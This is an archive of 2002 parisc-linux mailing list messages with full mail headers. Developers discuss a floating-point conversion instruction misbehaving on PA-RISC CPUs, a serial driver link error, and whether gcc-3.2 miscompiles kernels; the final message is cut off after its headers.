Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622017 18564 80.91.229.3 (22 Nov 2014 02:06:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:57 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bdale@gag.com (Bdale Garbee)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 15:03:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 13BB74829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 15:03:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBBM3Bot021172;
	Wed, 11 Dec 2002 17:03:12 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBBM3BRZ021171;
	Wed, 11 Dec 2002 17:03:11 -0500 (EST)
In-Reply-To: <87wumggsyl.fsf@rover.gag.com> from "Bdale Garbee" at Dec 11, 2002 02:13:06 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17084

> 2) The Debian HPPA box (spe170) seems to have alpha quality
> software.  Specifically, the FCNV,UDW,DBL instruction is
> apparently trapped, at least for certain input operand

I tried the program and I confirm the incorrect result under
hppa-linux.  The same code under hpux generates the correct
result.  The problem might be the wrong rounding mode is set
by glibc.  I believe that there was a recent fix for this.

I see no indication that the code traps on a PA8700.  I think
you would get a report in kern.log if the insn trapped due to
an unimplemented trap.  You might have the floating point
exception enables on causing traps on your machine.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 17:44:04 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20021211224404.GC15219@systemhalted>
References: <87wumggsyl.fsf@rover.gag.com> <200212112203.gBBM3BRZ021171@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622017 18566 80.91.229.3 (22 Nov 2014 02:06:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:57 +0000 (UTC)
Cc: Bdale Garbee <bdale@gag.com>, parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 15:44:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id BB7994829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 15:44:16 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18MFaI-00040y-00; Wed, 11 Dec 2002 17:44:06 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Bdale Garbee <bdale@gag.com>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200212112203.gBBM3BRZ021171@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (70% Sync Ratio [=======...])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17085

> > 2) The Debian HPPA box (spe170) seems to have alpha quality
> > software.  Specifically, the FCNV,UDW,DBL instruction is
> > apparently trapped, at least for certain input operand
> 
> I tried the program and I confirm the incorrect result under
> hppa-linux.  The same code under hpux generates the correct
> result.  The problem might be the wrong rounding mode is set
> by glibc.  I believe that there was a recent fix for this.

I fixed fesetround() so it wouldn't make a mess of the RM mask. Though
it does not appear that rounding is related to the problem.

> I see no indication that the code traps on a PA8700.  I think
> you would get a report in kern.log if the insn trapped due to
> an unimplemented trap.  You might have the floating point
> exception enables on causing traps on your machine.

The code _seems_ to trap on a PA8600. Though I won't say anything until
I enable debugging in the trap handler and rerun the test.

c.



From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 18:05:10 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
References: <20021211224404.GC15219@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622017 18574 80.91.229.3 (22 Nov 2014 02:06:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:57 +0000 (UTC)
Cc: bdale@gag.com, parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:05:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A0074829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 16:05:17 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBBN5Bot021433;
	Wed, 11 Dec 2002 18:05:11 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBBN5Bdj021432;
	Wed, 11 Dec 2002 18:05:11 -0500 (EST)
In-Reply-To: <20021211224404.GC15219@systemhalted> from "Carlos O'Donell" at Dec 11, 2002 05:44:04 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17086

> The code _seems_ to trap on a PA8600. Though I won't say anything until
> I enable debugging in the trap handler and rerun the test.

The code doesn't seem to trap on a A500 which I believe is a PA8500.
I think we need to look at bits 0..1 of the coprocessor configuration
register to determine instruction validity.  See table 8-6 on page 8-11.
I can look at what the HP compiler does.  Up to now, we have assumed
that all PA8000 machines have the same instruction set.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tim Kemna" <t.kemna@student.utwente.nl>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] another kernel compilation error
Date: Thu, 12 Dec 2002 00:09:25 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <001d01c2a16a$5a426060$4fe85982@kabel.utwente.nl>
References: <20021211035731.GB9521@systemhalted> <Pine.LNX.4.44.0212110410060.6654-100000@sal.ucc.ie> <20021211063321.GB10185@systemhalted>  <006e01c2a11c$71745200$4fe85982@kabel.utwente.nl>  <20021211165410.EAD7015192@paul.bame>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622018 18577 80.91.229.3 (22 Nov 2014 02:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:58 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "Paul Bame" <bame@fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:16:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from netlx010.civ.utwente.nl (netlx010.civ.utwente.nl [130.89.1.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0C2C4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 16:16:06 -0700 (MST)
Original-Received: from kabel209080 (kabel209080.kabel.utwente.nl [130.89.232.79])
          by netlx010.civ.utwente.nl (8.11.4/HKD) with SMTP id gBBN9db20829;
          Thu, 12 Dec 2002 00:09:40 +0100
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2720.3000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-UTwente-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17087

> > drivers/char/char.o: In function `hp_diva_check':
> > drivers/char/char.o(.text.hp_diva_check+0x60): undefined reference to
> > `rs_interrupt'
> > make: *** [vmlinux] Error 1
> > 
> > What am I doing wrong?
> 
> Probably nothing but I did :-)  My Diva changes currently require
> CONFIG_SERIAL_SHARE_IRQ to be set -- need to fix that.

I can't find that option in my .config



From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ["CSA Test Drive" <TestDrive@compaq.com>] FW: Some issues
Date: Wed, 11 Dec 2002 18:17:38 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <20021211231738.GA15513@systemhalted>
References: <20021211224404.GC15219@systemhalted> <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622018 18580 80.91.229.3 (22 Nov 2014 02:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:58 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:17:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (unknown [24.112.224.149])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4A094829
	for <parisc-linux@parisc-linux.org>; Wed, 11 Dec 2002 16:17:43 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18MG6k-0005QM-00; Wed, 11 Dec 2002 18:17:38 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <200212112305.gBBN5Bdj021432@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (25% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17088

> The code doesn't seem to trap on a A500 which I believe is a PA8500.

Could be a PA8600 too.

> I think we need to look at bits 0..1 of the coprocessor configuration
> register to determine instruction validity.  See table 8-6 on page 8-11.
> I can look at what the HP compiler does.  Up to now, we have assumed
> that all PA8000 machines have the same instruction set.

I'm building a new kernel right now to run the test on again.
My sociology exam is in a half-hour... I need a little break ;)

c.


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 23:29:45 +0000 (GMT)
Lines: 41
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
References: <20021211063321.GB10185@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622018 18582 80.91.229.3 (22 Nov 2014 02:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:29:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 32E924829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 16:29:53 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBBNUR814182;
	Wed, 11 Dec 2002 23:30:27 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20021211063321.GB10185@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17089

On Wed, 11 Dec 2002, Carlos O'Donell wrote:

> Subject: Re: [parisc-linux] Kernel crash when loggin in via ssh
>
> > Reading my previous post about the change in the Voodoo3 issue (Nov 26),
> > I realized that linux-2.4.20-rc1-pa7 obviously also worked.
> > This kernel was definitely compiled with gcc-3.0.4 (the one that
> > was in sid as of Nov 26).
> >
> > Yes, it might be a gcc issue ... haven't thought of that ...
> > I'll try to recompile the latest kernel with a gcc-3.0.4 - tomorrow!

It IS a gcc issue.

gcc-3.0_3.0.4-13 produces a working kernel, gcc-3.2-3.2.2-0pre0 produces
a miscompiled kernel (faulty networking, causes kernel crash).
I made NO updates whatsoever; same kernel configuration, just using gcc-3.0
insted of gcc-3.2. I just make a make clean; make dep; make vmlinux ...

Since now all my kernels compiled with gcc-3.0 were working, just when I
upgraded to gcc-3.2 the problems occured.

> So the urban legend goes that gcc-3.2 compiled kernels may infact
> produce mildly incorrect results in the networking code.

I think it is no urban legend anymore ... :-/
I've also see quite alot reports on p-l about miscompiled kernels with
anything other than gcc-3.0.4, actually several months ago; so I thought
these issues have been solved by now ...

> I have yet to verify this, and JDA seems to indicate that he has working
> kernels with gcc-3.2. While I've only recently tested gcc-3.0.x and
> gcc-3.1.x based compiles.
>
> I don't like urban legends >:} *Added item to Chrismas todo list*

Merry christmas then :-}

greetings max



From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 18:40:31 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200212112340.gBBNeVPA021527@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622018 18583 80.91.229.3 (22 Nov 2014 02:06:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:58 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, parisc-linux@lists.parisc-linux.org
To: xam@cs.ucc.ie (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:40:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 269984829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 16:40:38 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gBBNeVot021528;
	Wed, 11 Dec 2002 18:40:32 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gBBNeVPA021527;
	Wed, 11 Dec 2002 18:40:31 -0500 (EST)
In-Reply-To: <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie> from "M. Grabert" at Dec 11, 2002 11:29:45 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17090

> > > Yes, it might be a gcc issue ... haven't thought of that ...
> > > I'll try to recompile the latest kernel with a gcc-3.0.4 - tomorrow!
> 
> It IS a gcc issue.

That is not sufficient proof.  Just because code "works" with one compiler
version, doesn't mean that there isn't a problem with the code.  Someone
actually has to produce a sample of miscompiled code.  The debian 3.0.4
is not a supported version of gcc.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 23:56:59 +0000 (GMT)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0212112348220.1073-100000@sal.ucc.ie>
References: <200212112340.gBBNeVPA021527@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622019 18586 80.91.229.3 (22 Nov 2014 02:06:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:59 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, <parisc-linux@lists.parisc-linux.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 16:57:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04AF14829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 16:57:09 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.11.3/8.11.3/SuSE Linux 8.11.1-0.5) with ESMTP id gBBNvf814521;
	Wed, 11 Dec 2002 23:57:41 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200212112340.gBBNeVPA021527@hiauly1.hia.nrc.ca>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17091

On Wed, 11 Dec 2002, John David Anglin wrote:

> > It IS a gcc issue.
>
> That is not sufficient proof.  Just because code "works" with one compiler
> version, doesn't mean that there isn't a problem with the code.  Someone
> actually has to produce a sample of miscompiled code.  The debian 3.0.4
> is not a supported version of gcc.

okay, fair enough. But for now I stick to gcc-3.0.4 ...

BTW, did anybody try to compile kernels with CVS gcc-3.3 ?
Otherwise I'll waste my time this weekend building a native compiler and
try to recompile the same kernel again with the CVS gcc main branch (3.3?)

greetings max



From - Thu Nov 08 21:25:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Solved: Kernel crash when loggin in via ssh
Date: Wed, 11 Dec 2002 16:05:11 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20021212000511.GH19331@tausq.org>
References: <20021211063321.GB10185@systemhalted> <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622019 18588 80.91.229.3 (22 Nov 2014 02:06:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:06:59 +0000 (UTC)
Cc: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 11 17:04:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7A7014829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 11 Dec 2002 17:04:06 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D7157CD64C; Wed, 11 Dec 2002 16:05:11 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44.0212112313290.861-100000@sal.ucc.ie>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
